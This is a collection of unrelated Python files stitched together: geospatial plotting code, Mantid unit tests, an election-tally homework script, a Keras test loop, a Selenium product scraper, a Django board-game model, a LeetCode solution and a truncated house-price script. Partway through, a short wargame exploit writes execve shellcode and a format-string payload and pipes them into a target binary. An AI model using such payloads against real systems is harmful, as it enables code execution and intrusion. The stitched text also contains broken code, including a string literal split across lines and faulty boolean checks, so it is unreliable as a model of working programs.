    ) -> None:
        """Generate a line of constant latitude and add to the plotter scene.

        Parameters
        ----------
        lat : float
            The constant line of latitude (degrees) to generate.
        lon_step : float, optional
            The delta (degrees) between neighbouring meridians. Defaults to
            :data:`geovista.gridlines.LONGITUDE_STEP`.
        n_samples : int, optional
            The number of points in a single line of latitude. Defaults to
            :data:`geovista.gridlines.LATITUDE_N_SAMPLES`.
        poles_parallel : bool, optional
            Whether to create a line of latitude at the north/south poles. Defaults to
            :data:`geovista.gridlines.LATITUDE_POLES_PARALLEL`.
        show_labels : bool, optional
            Whether to render the parallel label. Defaults to
            :data:`GRATICULE_SHOW_LABELS`.
        radius : float, optional
            The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.
        zlevel : int, optional
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius` by a proportional amount i.e., ``radius * zlevel * zscale``.
            Defaults to :data:`geovista.gridlines.GRATICULE_ZLEVEL`
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        mesh_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_mesh`.
        point_labels_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_point_labels`.

        Notes
        -----
        .. versionadded:: 0.3.0

        """
        self.add_parallels(
            start=lat,
            stop=lat,
            lon_step=lon_step,
            n_samples=n_samples,
            poles_parallel=poles_parallel,
            show_labels=show_labels,
            radius=radius,
            zlevel=zlevel,
            zscale=zscale,
            mesh_args=mesh_args,
            point_labels_args=point_labels_args,
        )

    def add_parallels(
        self,
        start: float | None = None,
        stop: float | None = None,
        step: float | None = None,
        lon_step: float | None = None,
        n_samples: int | None = None,
        poles_parallel: bool | None = None,
        poles_label: bool | None = None,
        show_labels: bool | None = None,
        radius: float | None = None,
        zlevel: int | None = None,
        zscale: float | None = None,
        mesh_args: dict[Any, Any] | None = None,
        point_labels_args: dict[Any, Any] | None = None,
    ) -> None:
        """Generate lines of constant latitude and add to the plotter scene.

        Parameters
        ----------
        start : float, optional
            The first line of latitude (degrees). The graticule will include this
            parallel. Also see ``poles_parallel``. Defaults to
            :data:`geovista.gridlines.LATITUDE_START`.
        stop : float, optional
            The last line of latitude (degrees). The graticule will include this
            parallel when it is a multiple of ``step``. Also see ``poles_parallel`.
            Defaults to :data:`geovista.gridlines.LATITUDE_STOP`.
        step : float, optional
            The delta (degrees) between neighbouring parallels. Defaults to
            :data:`geovista.gridlines.LATITUDE_STEP`.
        lon_step : float, optional
            The delta (degrees) between neighbouring meridians. Defaults to
            :data:`geovista.gridlines.LONGITUDE_STEP`.
        n_samples : int, optional
            The number of points in a single line of latitude. Defaults to
            :data:`geovista.gridlines.LATITUDE_N_SAMPLES`.
        poles_parallel : bool, optional
            Whether to create a line of latitude at the north/south poles. Defaults to
            :data:`geovista.gridlines.LATITUDE_POLES_PARALLEL`.
        poles_label : bool, optional
            Whether to create a single north/south pole label. Only applies when
            ``poles_parallel=False``. Defaults to
            :data:`geovista.gridlines.LATITUDE_POLES_LABEL`.
        show_labels : bool, optional
            Whether to render the labels of the parallels. Defaults to
            :data:`GRATICULE_SHOW_LABELS`.
        radius : float, optional
            The radius of the sphere. Defaults to :data:`geovista.common.RADIUS`.
        zlevel : int, optional
            The z-axis level. Used in combination with the `zscale` to offset the
            `radius` by a proportional amount i.e., ``radius * zlevel * zscale``.
            Defaults to :data:`geovista.gridlines.GRATICULE_ZLEVEL`
        zscale : float, optional
            The proportional multiplier for z-axis `zlevel`. Defaults to
            :data:`geovista.common.ZLEVEL_SCALE`.
        mesh_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_mesh`.
        point_labels_args : dict, optional
            Arguments to pass through to :meth:`pyvista.Plotter.add_point_labels`.

        Notes
        -----
        .. versionadded:: 0.3.0

        """
        if show_labels is None:
            show_labels = GRATICULE_SHOW_LABELS

        if zlevel is None:
            zlevel = ZTRANSFORM_FACTOR if self.crs.is_projected else GRATICULE_ZLEVEL

        if mesh_args is None:
            mesh_args = {}

        if point_labels_args is None:
            point_labels_args = {}

        # TODO: fix behaviour of longitudes at poles
        poles_parallel = False

        parallels = create_parallels(
            start=start,
            stop=stop,
            step=step,
            lon_step=lon_step,
            n_samples=n_samples,
            poles_parallel=poles_parallel,
            poles_label=poles_label,
            radius=radius,
            zlevel=zlevel,
            zscale=zscale,
        )

        if radius is not None:
            mesh_args["radius"] = radius

        if zlevel is not None:
            mesh_args["zlevel"] = zlevel

        if zscale is not None:
            mesh_args["zscale"] = zscale

        for mesh in parallels.blocks:
            self.add_mesh(mesh, **mesh_args)

        if show_labels:
            self._add_graticule_labels(
                parallels,
                radius=radius,
                zlevel=zlevel,
                zscale=zscale,
                point_labels_args=point_labels_args,
            )

class GeoPlotter(GeoPlotterBase, pv.Plotter):
    """A geospatial aware plotter.

    See :class:`geovista.geoplotter.GeoPlotterBase` and
    :class:`pyvista.Plotter`.

    Notes
    -----
    .. versionadded:: 0.1.0

    """


# Mantid Repository : https://github.com/mantidproject/mantid
#
# Copyright © 2021 ISIS Rutherford Appleton Laboratory UKRI,
#     NScD Oak Ridge National Laboratory, European Spallation Source
#     & Institut Laue - Langevin
# SPDX - License - Identifier: GPL - 3.0 +
"""
DNS file helpers
"""

import unittest
from unittest.mock import patch

from mantidqtinterfaces.DNSReduction.helpers.file_processing import (create_dir, filter_filenames,
                                                  return_filelist,
                                                  return_standard_zip,
                                                  save_txt,
                                                  unzip_latest_standard,
                                                  load_txt,
                                                  open_editor,
                                                  create_dir_from_filename,
                                                  get_path_and_prefix)
from mantidqtinterfaces.DNSReduction.tests.helpers_for_testing import get_3filenames

def mock_mtime(filename):
    times = {'standard.zip': 5,
             'standard123.zip': 4}
    return times[filename]

class DNSfile_processingTest(unittest.TestCase):
    def setUp(self):
        self.filenames = get_3filenames()

    def test_filter_filenames(self):
        filtered = filter_filenames(self.filenames, 774714, 788058)
        self.assertEqual(filtered, self.filenames)
        filtered = filter_filenames(self.filenames, 774714, 788057)
        self.assertEqual(filtered, self.filenames[0:2])
        filtered = filter_filenames(self.filenames, 787464, 788057)
        self.assertEqual(filtered, [])

    @patch('DNSReduction.helpers.file_processing.'
           'os.listdir')
    @patch('DNSReduction.helpers.file_processing.'
           'os.path.isdir')
    def test_return_filelist(self, mock_is_dir, mock_listdir):
        mock_listdir.return_value = self.filenames + ['a.d_dat', '123.d_dat']
        mock_is_dir.return_value = True
        filelist = return_filelist('a')
        self.assertEqual(filelist, self.filenames)
        mock_is_dir.return_value = False
        filelist = return_filelist('a')
        self.assertEqual(filelist, [])

    @patch('DNSReduction.helpers.file_processing.'
           'os.path.getmtime', new=mock_mtime)
    @patch('DNSReduction.helpers.file_processing.'
           'glob.glob')
    @patch('DNSReduction.helpers.file_processing.'
           'os.path.isdir')
    def test_return_standard_zip(self, mock_is_dir, mock_glob):
        mock_is_dir.return_value = False
        mock_glob.return_value = ['standard.zip', 'standard123.zip']
        testv = return_standard_zip('a')
        self.assertEqual(testv, '')
        mock_is_dir.return_value = True
        testv = return_standard_zip('a')
        self.assertEqual(testv, 'standard.zip')

    @patch('DNSReduction.helpers.file_processing.'
           'zipfile.ZipFile')
    @patch('DNSReduction.helpers.file_processing.'
           'return_standard_zip')
    def test_unzip_latest_standard(self, mock_return_standard, mock_zip):
        mock_extract = mock_zip.return_value.__enter__.return_value.extractall
        mock_return_standard.return_value = 'standard.zip'
        self.assertTrue(unzip_latest_standard('datab', 'stan'))
        mock_zip.assert_called_once_with('standard.zip', 'r')
        mock_extract.assert_called_once_with('stan')
        mock_extract.reset_mock()
        mock_return_standard.reset_mock()
        mock_return_standard.return_value = ''
        self.assertFalse(unzip_latest_standard('datab', 'stan'))
        mock_extract.assert_not_called()
        self.assertEqual(mock_return_standard.call_count, 2)

    @patch('DNSReduction.helpers.file_processing.'
           'create_dir')
    @patch('DNSReduction.helpers.file_processing.'
           'os.path.dirname')
    def test_create_dir_from_filename(self, mock_dirname, mock_cdir):
        create_dir_from_filename('123')
        mock_dirname.assert_called_once_with('123')
        mock_cdir.assert_called_once_with(mock_dirname.return_value)

    @patch('DNSReduction.helpers.file_processing.'
           'os.makedirs')
    @patch('DNSReduction.helpers.file_processing.'
           'os.path.exists')
    def test_create_dir(self, mock_path, mock_mdir):
        mock_path.return_value = True
        create_dir('a')
        mock_mdir.assert_not_called()
        mock_path.return_value = False
        create_dir('a')
        mock_mdir.assert_called_once_with('a')

    @patch('DNSReduction.helpers.file_processing.'
           'open')
    def test_save_txt(self, mock_open):
        mockwrite = mock_open.return_value.__enter__.return_value.write
        testv = save_txt(txt='abc', filename='123.dat', crdir=None)
        self.assertEqual(testv, ['123.dat', '123.dat'])
        mock_open.assert_called_once_with('123.dat', 'w')
        mockwrite.assert_called_once_with('abc')
        testv = save_txt(txt='abc', filename='123.dat', crdir='d')
        self.assertEqual(testv, ['123.dat', 'd/123.dat'])

    @patch('DNSReduction.helpers.file_processing.'
           'open')
    def test_load_txt(self, mock_open):
        mockread = mock_open.return_value.__enter__.return_value.readlines
        mockread.return_value = 'hzu'
        testv = load_txt(filename='123.dat', crdir=None)
        mock_open.assert_called_once_with('123.dat', 'r')
        mockread.assert_called_once()
        mock_open.reset_mock()
        mockread.rset_mock()
        testv = load_txt(filename='123.dat', crdir='d')
        mock_open.assert_called_once_with('d/123.dat', 'r')
        self.assertEqual(testv, 'hzu')

    @staticmethod
    @patch('DNSReduction.helpers.file_processing.'
           'os.startfile')
    @patch('DNSReduction.helpers.file_processing.'
           'os.path.exists')
    def test_open_editor(mock_path_exist, mock_startfile):
        mock_path_exist.return_value = False
        open_editor('123.d_dat', crdir=None)
        mock_path_exist.assert_called_once_with('123.d_dat')
        mock_startfile.assert_not_called()
        mock_path_exist.return_value = True
        mock_path_exist.reset_mock()
        open_editor('123.d_dat', crdir='d')
        mock_path_exist.assert_called_once_with('d/123.d_dat')
        mock_startfile.assert_called_once_with('d/123.d_dat')

    def test_get_path_and_prefix(self):
        testv = get_path_and_prefix('C:/123')
        self.assertEqual(testv, ('C:/', '123'))

if __name__ == '__main__':
    unittest.main()


import os
import csv
import pandas as pd

#electionpath = os.path.join('..', 'resources', 'election_data.csv')

print("This is HW Assignment #3 to analyze Election Data")
print("")

# Create a variable that holds the import of the election_data CSV File
electionpath = "C:\\Users\\aipat\\python-challenge\\resources\\election_data.csv"

# The total number of votes cast
# A complete list of candidates who received votes
# The percentage of votes each candidate won
# The total number of votes each candidate won
# The winner of the election based on popular vote

voter_id = []
county = []
candidates = []
total_votes_casted = 0
khan_votes_casted = 0
correy_votes_casted = 0
li_votes_casted = 0
otooley_votes_casted = 0
election_winner = 0
candidate_list = []
candidate_votes = []

with open(electionpath, 'r') as electionfile:
    electionreader = csv.reader(electionfile, delimiter=",")
    electionheader = next(electionreader)

    #this will iterate through each row of the csv file and read it
    #this for loop will continue to loop through the csvfile till
    #it reaches the end
    # === What do you want to do in this loop? ===

    for row in electionreader:

        #this will store the values of each column in either voter_id, county, or candidate list
        voter_id.append(row[0])
        county.append(row[1])
        candidates.append(row[2])

    # iterate through to candidate
	# Candidate names Khan / Correy / Li / O'Tooley

    for candidatevotes in candidates:
        total_votes_casted = total_votes_casted + 1
        if candidatevotes == "Khan":
            khan_votes_casted = khan_votes_casted + 1
        elif candidatevotes == "Correy":
            correy_votes_casted = correy_votes_casted + 1
        elif candidatevotes == "Li":
            li_votes_casted = li_votes_casted + 1
        elif candidatevotes == "O'Tooley":
            otooley_votes_casted = otooley_votes_casted + 1

candidate_list = ['Khan', 'Correy', 'Li', 'O Tooley']
candidate_votes = [khan_votes_casted, correy_votes_casted, li_votes_casted, otooley_votes_casted]

results_dict = dict(zip(candidate_list, candidate_votes))
max_value = max(results_dict.values())
elected = [key for key, value in results_dict.items() if value == max_value]

khan_percent = khan_votes_casted / total_votes_casted
correy_percent = correy_votes_casted / total_votes_casted
li_percent = li_votes_casted / total_votes_casted
otolley_percent = otooley_votes_casted / total_votes_casted

print("============================================================")
print("")
print(f'There are a total of {total_votes_casted} votes casted')
print(f'Candidate Khan has {khan_percent:.2%} of votes with {khan_votes_casted} votes casted')
print(f'Candidate Correy has {correy_percent:.2%} of votes with {correy_votes_casted} votes casted')
print(f'Candidate Li has {li_percent:.2%} of votes with {li_votes_casted} votes casted')
print(f'Candidate O Tooley has {otolley_percent:.2%} of votes with {otooley_votes_casted} votes casted')
print(f'These are the results of the election {results_dict}')
print(f'The winner is {elected} with {max_value} votes!')
print("")
print("This is the end of Election Analysis")
print("============================================================")

output_electionresults = "C:\\Users\\aipat\\python-challenge\\PyPoll\\PyPoll_ElectionResults.txt"

with open(output_electionresults, 'w') as electionfile:

    electionfile.write("============================================================")
    electionfile.write("\n")
    electionfile.write("These are the results of this year's election")
    electionfile.write("\n")
    electionfile.write(f'There are a total of {total_votes_casted} votes casted')
    electionfile.write("\n")
    electionfile.write(f'Candidate Khan has {khan_percent:.2%} of votes with {khan_votes_casted} votes casted')
    electionfile.write("\n")
    electionfile.write(f'Candidate Correy has {correy_percent:.2%} of votes with {correy_votes_casted} votes casted')
    electionfile.write("\n")
    electionfile.write(f'Candidate O Tooley has {otolley_percent:.2%} of votes with {otooley_votes_casted} votes casted')
    electionfile.write("\n")
    electionfile.write(f'These are the results of the election {results_dict}')
    electionfile.write("\n")
    electionfile.write(f'The winner is {elected} with {max_value} votes!')
    electionfile.write("\n")
    electionfile.write("This is the end of Election Analysis")
    electionfile.write("\n")
    electionfile.write("============================================================")


import tensorflow as tf
from keras.backend.tensorflow_backend import set_session
config = tf.ConfigProto()
config.gpu_options.allow_growth = True
config.gpu_options.visible_device_list = "0"
set_session(tf.Session(config=config))
import my_s2s_v2 as my
from keras import backend as K
import sys
import os

orig_stdout = sys.stdout
f = open('Both_fra_test.txt', 'a')
sys.stdout = f
'''
list models: [{plain, rev}latent_dim, act_func, loss_func, latent_dim]
'''

act_functions = ["linear"]
losses = ["logcosh"]
paths = ["deu.txt"]
ways = ["for", "rev"]
dat = my.data_prep("deu.txt", True)
dat.as_wrdvec()
for act in act_functions:
    for loss in losses:
        for data in paths:
            for way in ways:
                if not os.path.isfile("{}_e{}_wordvec_{}_{}.list".format(way, data.split(".")[0][:-1], act, loss)):
                    mod = my.seq2seq(dat)
                    if way == "for":
                        mod.twolayer(act, loss, 900)
                    else:
                        mod.reverse(act, loss, 900)
                    if data == "fra.txt":
                        pre = "fr"
                    else:
                        pre = "de"
                    mod.loadwts("{}_e{}_wordvec_{}_{}.h5".format(way, pre, act, loss))
                    print("\n\n{}_e{}_wordvec_{}_{}.h5".format(way, pre, act, loss))
                    a, i = mod.train_acc()
                    print("{}_e{}_wordvec_{}_{}.h5\n\n".format(way, pre, act, loss))
                    K.clear_session()
                else:
                    print("Skipped")


import pandas as pd

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from UliPlot.XLSX import auto_adjust_xlsx_column_width
import chromedriver_binary
import csv
import time
import sys
import os

# https://www.encorewire.com/products/index.html
class ScrapePlaces:
    def __init__(self):
        self.driver = webdriver.Chrome('./chromedriver')
        url = "https://www.littelfuse.com/products.aspx"
        self.driver.get(url)
        category_list = self.driver.find_element_by_class_name('product-grid').find_elements_by_tag_name('li')
        index = 0
        df = pd.DataFrame()
        for i in range(len(category_list)):
            link = category_list[i].find_element_by_tag_name('a')
            # category_name = link.text
            link.click()
            self.waiting()
            sub_category_list = self.driver.find_element_by_class_name('product-grid').find_elements_by_tag_name('li')
            for j in range(len(sub_category_list)):
                sub_link = sub_category_list[j].find_element_by_tag_name('a')
                sub_link.click()
                self.waiting()
                sub_sub_category_list_div = self.driver.find_element_by_class_name('product-grid')
                if sub_sub_category_list_div:
                    sub_sub_category_list = sub_sub_category_list_div.find_elements_by_tag_name('li')
                    for k in range(len(sub_sub_category_list)):
                        sub_sub_link = sub_sub_category_list[j].find_element_by_tag_name('a')
                        sub_sub_link.click()
                        self.waiting()
                        last_category_list = self.driver.find_elements_by_class_name('descriptive-box')
                        for l in range(len(last_category_list)):
                            last_link = last_category_list[l].find_element_by_tag_name("a")
                            self.driver.execute_script("arguments[0].click();", last_link)
                            # print(last_link.get_attribute("innerHTML"))
                            # last_link.click()
                            self.waiting()
                            product_list = self.driver.find_element_by_id('tblElecChars').find_element_by_tag_name("tbody").find_elements_by_tag_name("tr")
                            for m in range(len(product_list)):
                                product_link = product_list[m].find_element_by_tag_name("a")
                                sku = product_link.get_attribute("innerHTML")
                                print(index, sku)
                                self.driver.execute_script("arguments[0].click();", product_link)
                                self.waiting()
                                pro_name = self.driver.find_element_by_tag_name('h1').text
                                df.at[index,"url"] = self.driver.current_url
                                df.at[index,"Title"] = pro_name
                                df.at[index,"Brand"] = "littelfuse"
                                pro_description = self.driver.find_element_by_class_name('feaures-benefits-box').get_attribute("innerHTML")
                                df.at[index,"Long/Short Descriptions"] = pro_description.split("
", 1)[1].split("
",1)[0].replace("\n","").replace("\t","").replace("  ","");
                                pro_feature = ''
                                feature_list = self.driver.find_element_by_class_name('feaures-benefits-box').find_elements_by_tag_name("ul")[2].find_elements_by_tag_name("li")
                                for feature in feature_list:
                                    if pro_feature!='':
                                        pro_feature += " | "
                                    pro_feature += feature.text
                                df.at[index,"Features"] = pro_feature

                                applications = ''
                                applications_list = self.driver.find_element_by_class_name('feaures-benefits-box').find_elements_by_tag_name("ul")[1].find_elements_by_tag_name("li")
                                for app in applications_list:
                                    if applications!='':
                                        applications += " | "
                                    applications += app.text
                                df.at[index,"Applications"] = applications

                                spec_txt = ""
                                spec_list = self.driver.find_element_by_id("ElectricalCharacteristics").find_elements_by_tag_name("tbody")
                                for spec in spec_list:
                                    key = spec.find_element_by_tag_name("tr").find_element_by_tag_name("a").text
                                    value = spec.find_element_by_tag_name("tr").find_elements_by_tag_name("td")[1].text
                                    spec_txt += "\""+ key + "\":\"" + value + "\","
                                df.at[index,"Specifications"] = "{"+spec_txt[:-1]+"}"

                                breadcrumb_list = self.driver.find_element_by_class_name("breadcrumb").find_elements_by_tag_name("a")
                                breadcrumb_txt = ""
                                for breadcrumb_index in range(len(breadcrumb_list)):
                                    breadcrumb_txt += breadcrumb_list[breadcrumb_index].text+"/"
                                df.at[index,"Breadcrumb"] = breadcrumb_txt + sku
                                df.at[index,"Product SKU Number"] = "["+sku+"]"
                                img_txt = ""
                                detail_img = self.driver.find_element_by_class_name('zoomContainer').find_element_by_tag_name('img').get_attribute("src")
                                img_txt = "{\"Item_Image\":\""+detail_img+"\",\"Detailed_Image\":\""+ detail_img+"\",\"Zoom_Image\":\""+detail_img+"\"},"
                                df.at[index,"Image"] = "["+img_txt[:-1]+"]"

                                assets = ''
                                assets_datas = self.driver.find_element_by_id('tabTechRes').find_element_by_tag_name("tbody").find_elements_by_tag_name("tr")
                                for asset_data in assets_datas:
                                    key = asset_data.find_element_by_tag_name("a").get_attribute("innerHTML").replace("  ","")
                                    value = asset_data.find_element_by_tag_name("a").get_attribute("href")
                                    assets += "'"+key+"' : \""+value+"\"" + ","
                                df.at[index,"Assets"] = "{"+assets[:-1]+"}"

                                writer = pd.ExcelWriter('littelfuse.xlsx', engine='xlsxwriter')
                                df.to_excel(writer, sheet_name='Sheet1', startrow=0, index=False)
                                # auto_adjust_xlsx_column_width(df, writer, sheet_name="Sheet2", margin=0)
                                for column in df:
                                    column_width = max(df[column].astype(str).map(len).max(), len(column)) + 2
                                    column_width = min(column_width, 300)
                                    col_idx = df.columns.get_loc(column)
                                    writer.sheets['Sheet1'].set_column(col_idx, col_idx, column_width)
                                writer.save()
                                index += 1
                                self.driver.execute_script("window.history.go(-1)")
                                self.waiting()
                                product_list = self.driver.find_element_by_id('tblElecChars').find_element_by_tag_name("tbody").find_elements_by_tag_name("tr")
                            self.driver.execute_script("window.history.go(-1)")
                            self.waiting()
                            last_category_list = self.driver.find_elements_by_class_name('descriptive-box')
                        self.driver.execute_script("window.history.go(-1)")
                        self.waiting()
                        sub_sub_category_list = sub_sub_category_list_div.find_elements_by_tag_name('li')
                # else :
                #     continue
                self.driver.execute_script("window.history.go(-1)")
                self.waiting()
                sub_category_list = self.driver.find_element_by_class_name('product-grid').find_elements_by_tag_name('li')
            self.driver.execute_script("window.history.go(-1)")
            self.waiting()
            category_list = self.driver.find_element_by_class_name('product-grid').find_elements_by_tag_name('li')
    def waiting(self):
        timeout = 6# timeout , change if connection slow
        try:
            WebDriverWait(self.driver, timeout).until(EC.visibility_of_element_located((By.XPATH,"//button[@class='section-back-to-list-button']")))
            print('waiting done')
        except TimeoutException:
            # print('process item expcetion')

            pass

    def closeDriver(self):
        print("\n\nEnding Scrapper Session")
        self.driver.close()

if __name__ == "__main__":
    scrap = ScrapePlaces()
    scrap.closeDriver()


from django.db import models
# from enum import Enum
from django.contrib.auth.models import User
from django.core.validators import MaxValueValidator, MinValueValidator
from django.core.exceptions import ValidationError

cell1 = 'Invalid cell for a cat or the mouse'
cell2 = '|Gato o ratón en posición no válida'

MSG_ERROR_INVALID_CELL = cell1+cell2
MSG_ERROR_GAMESTATUS = 'Game status not valid|Estado no válido'
MSG_ERROR_MOVE = 'Move not allowed|Movimiento no permitido'
MSG_ERROR_NEW_COUNTER = 'Insert not allowed|Inserción no permitida'

#Clase utilizada para saber en que modo se encuentra nuestro juego
class GameStatus(models.Model):
    CREATED = "Created"
    ACTIVE = "Active"
    FINISHED = "Finished"

#Clase Game utilizada para referenciar al juego
class Game(models.Model):
    # Rango de celdas del juego
    MIN_CELL = 0
    MAX_CELL = 63
    # Mensajes de error en caso de fallar
    max63 = MaxValueValidator(63)
    min0 = MinValueValidator(0)
    # Atributos de la tabla
    cat_user = models.ForeignKey(User, related_name='games_as_cat',
                                 on_delete=models.CASCADE)
    mouse_user = models.ForeignKey(User, related_name='games_as_mouse',
                                   on_delete=models.CASCADE, null=True,
                                   blank=True)
    cat1 = models.IntegerField(default=0, null=False, validators=[max63,
                               min0])
    cat2 = models.IntegerField(default=2, null=False, validators=[max63,
                               min0])
    cat3 = models.IntegerField(default=4, null=False, validators=[max63,
                               min0])
    cat4 = models.IntegerField(default=6, null=False, validators=[max63,
                               min0])
    mouse = models.IntegerField(default=59, null=False,
                                validators=[max63, min0])
    cat_turn = models.BooleanField(default=True)
    status = models.CharField(max_length=50,
                              default=GameStatus.CREATED, null=False)
    casillasblancas = [0, 2, 4, 6, 9, 11, 13, 15, 16, 18, 20, 22,
                       25, 27, 29, 31, 32, 34, 36, 38, 41, 43, 45,
                       47, 48, 50, 52, 54, 57, 59, 61, 63]

    # Mensaje a mostrar
    def __str__(self):

        var = ' '
        var2 = ' '

        if self.cat_turn:
            var = 'X'
        else:
            var2 = 'X'

        c1 = str(self.cat1)
        c2 = str(self.cat2)
        c3 = str(self.cat3)
        c4 = str(self.cat4)

        if self.mouse_user:
            return '('+str(self.id)+', '+str(self.status)+')'+'\t'+'Cat ['+var+'] cat_user_test('+c1+', '+c2+', '+c3+', '+c4+') --- Mouse ['+var2+'] mouse_user_test('+str(self.mouse)+')'

        else:
            return '('+str(self.id)+', '+str(self.status)+')'+'\t'+'Cat ['+var+'] cat_user_test('+c1+','+' '+c2+','+' '+c3+','+' '+c4+')'

    # Comprobacion
    def save(self, *args, **kwargs):
        if self.cat_user is None:
            raise ValidationError(MSG_ERROR_INVALID_CELL)
        elif (self.cat1 not in self.casillasblancas or
                self.cat2 not in self.casillasblancas or
                self.cat3 not in self.casillasblancas or self.cat4 not in
                self.casillasblancas or self.mouse not in
                self.casillasblancas):
            raise ValidationError(MSG_ERROR_INVALID_CELL)
        elif (self.mouse_user is not None and
              self.status == GameStatus.CREATED):
            self.status = GameStatus.ACTIVE
        super(Game, self).save(*args, **kwargs)

# Clase encargada de ver si un objeto se mueve y sus comprobaciones
class Move(models.Model):
    # Mensajes de error en caso de fallar
    max63 = MaxValueValidator(63)
    min0 = MinValueValidator(0)
    origin = models.IntegerField(null=False,validators=[max63,
                                 min0])
    target = models.IntegerField(null=False,validators=[max63,
                                 min0])
    game = models.ForeignKey(Game, on_delete=models.CASCADE,
                             related_name='moves')
    player = models.ForeignKey(User, on_delete=models.CASCADE)
    date = models.DateField(null=False, auto_now=True)
    casillasblancas = [0, 2, 4, 6, 9, 11, 13, 15, 16,
                       18, 20, 22, 25, 27, 29, 31, 32, 34, 36, 38, 41, 43,
                       45, 47, 48, 50, 52, 54, 57, 59, 61, 63]

    def save(self, *args, **kwargs):
        if str(self.player) == 'no_player':
            raise ValidationError(MSG_ERROR_MOVE)
        elif GameStatus.FINISHED == self.game.status:
            raise ValidationError(MSG_ERROR_MOVE)
        elif (self.origin not in self.casillasblancas or
                self.target not in self.casillasblancas):
            raise ValidationError(MSG_ERROR_MOVE)
        # Entra a mirar si el usuario tiene al raton como jugador
        elif self.game.mouse_user is not None:
            # Comprueba si se puede realizar el movimiento
            if self.target not in self.casillasblancas:
                raise ValidationError(MSG_ERROR_MOVE)
            else:
                # Turno del raton
                if self.game.cat_turn == 0:
                    if (self.target == self.origin+7 or
                            self.target == self.origin-7 or
                            self.target == self.origin+9 or
                            self.target == self.origin-9):
                        if (self.target != self.game.cat1 or
                                self.game.cat2 or self.game.cat3 or
                                self.game.cat4):
                            self.game.cat_turn = True
                            self.game.mouse = self.target
                            self.game.save()
                        else:
                            raise ValidationError(MSG_ERROR_MOVE)
                    # Realiza el movimiento
                    else:
                            raise ValidationError(MSG_ERROR_MOVE)
                    # Si es turno del gato
                else:
                    if ((self.target == self.origin+7
                            or self.target == self.origin+9) and
                            self.target in self.casillasblancas and
                            self.origin in self.casillasblancas):
                        # Si ocurre una de estas dos condiciones,
                        # entonces el gato se puede mover
                        self.game.cat_turn = False
                        if self.game.cat1 == self.origin:
                            if (self.target == self.game.cat2 or
                                    self.target == self.game.cat3 or
                                    self.target == self.game.cat4 or
                                    self.target == self.game.mouse):
                                raise ValidationError(MSG_ERROR_MOVE)
                            else:
                                self.game.cat1 = self.target
                        if self.game.cat2 == self.origin:
                            if (self.target == self.game.cat1 or
                                    self.target == self.game.cat3 or
                                    self.target == self.game.cat4 or
                                    self.target == self.game.mouse):
                                raise ValidationError(MSG_ERROR_MOVE)
                            else:
                                self.game.cat2 = self.target
                        if self.game.cat3 == self.origin:
                            if (self.target == self.game.cat1 or
                                    self.target == self.game.cat2 or
                                    self.target == self.game.cat4 or
                                    self.target == self.game.mouse):
                                raise ValidationError(MSG_ERROR_MOVE)
                            else:
                                self.game.cat3 = self.target
                        if self.game.cat4 == self.origin:
                            if (self.target == self.game.cat1 or
                                    self.target == self.game.cat2 or
                                    self.target == self.game.cat3 or
                                    self.target == self.game.mouse):
                                raise ValidationError(MSG_ERROR_MOVE)
                            else:
                                self.game.cat4 = self.target
                        try:
                            self.game.save()
                        except ValidationError:
                            raise ValidationError(MSG_ERROR_MOVE)
                    else:
                        raise ValidationError(MSG_ERROR_MOVE)
        else:
            raise ValidationError(MSG_ERROR_MOVE)
        super(Move, self).save(*args, **kwargs)

#Patron singleton de la clase Counter
class CounterObject(models.Manager):

    def inc(self):
        try:
            counter = Counter.objects.get(id=0)
        except Counter.DoesNotExist:
            counter = Counter(id=0)

        counter.value = counter.value+1
        super(Counter, counter).save()
        return counter.value

    def get_current_value(self):
        try:
            counter = Counter.objects.get(id=0)
        except Counter.DoesNotExist:
            counter = Counter(id=0)

        return counter.value

#Clase encargada de llevar el contador de usuarios en la aplicacion
class Counter(models.Model):
    value = models.IntegerField(default=0, null=False,
                                validators=[MinValueValidator(0)])
    objects = CounterObject()

    def save(self, *args, **kwargs):
        # En caso de querer guardarlo deberá dar error
        raise ValidationError(MSG_ERROR_NEW_COUNTER)


#python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x9c\xf5\xff\xbf\x9e\xf5\xff\xbf"+"%62872c%14$hn%51779c%15$hn"' > InOut

import struct
import pwnbox

p = lambda x : struct.pack("<I", x)
up = lambda x : struct.unpack("<I", x)[0]

def main():
	f = open("./InOut","r")
	pipe = pwnbox.pipe.ProcessPipe("/home/InOut/attackme")
	pipe.read_line()
	pipe.interact()

	pipe.close()

if __name__ == "__main__":
	main()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import urllib.request
import json

API="http://127.0.0.1:10088/openxiaoice/ask?q="

def reply(string):
	try:
		req = urllib.request.Request(API + urllib.request.quote(string.encode("utf8")))
		req = urllib.request.urlopen(req).read()
		ans = json.loads(req.decode('utf-8'))["answer"]
		print(ans)
		return ans
	except Exception as e:
		print(e)
		return "玩坏掉了Orz..."

if __name__ == "__main__":
	reply("Hello")


# -*- coding:utf-8 -*-
# Author: washing
# DateTime: 2021/12/1 10:26
# File: 1446.py
# Desc:

class Solution:
    def maxPower(self, s: str) -> int:
        last = ""
        longest = 0
        counter = 0
        for i in s:
            if i == last:
                counter += 1
            else:
                last = i
                counter = 1
            longest = max(counter, longest)
        return longest


# -*- coding: utf-8 -*-
__author__ = 'liudong'
__date__ = '2018/4/23 下午2:28'

import pandas as pd
import lightgbm as lgb

# 加载数据
df_train = pd.read_csv('/Users/liudong/Desktop/house_price/train.csv')
df_test  = pd.read_csv('/Users/liudong/Desktop/house_price/test.csv')
print(df_train.columns)

# 对数据中的特征进行处理

features = [ 'MSSubClass',  'LotFrontage', 'LotArea',
       'OverallQual', 'OverallCond', 'YearBuilt', 'YearRemodAdd',
       'MasVnrArea','BsmtFinSF1','BsmtFinSF2', 'BsmtUnfSF', 'TotalBsmtSF',
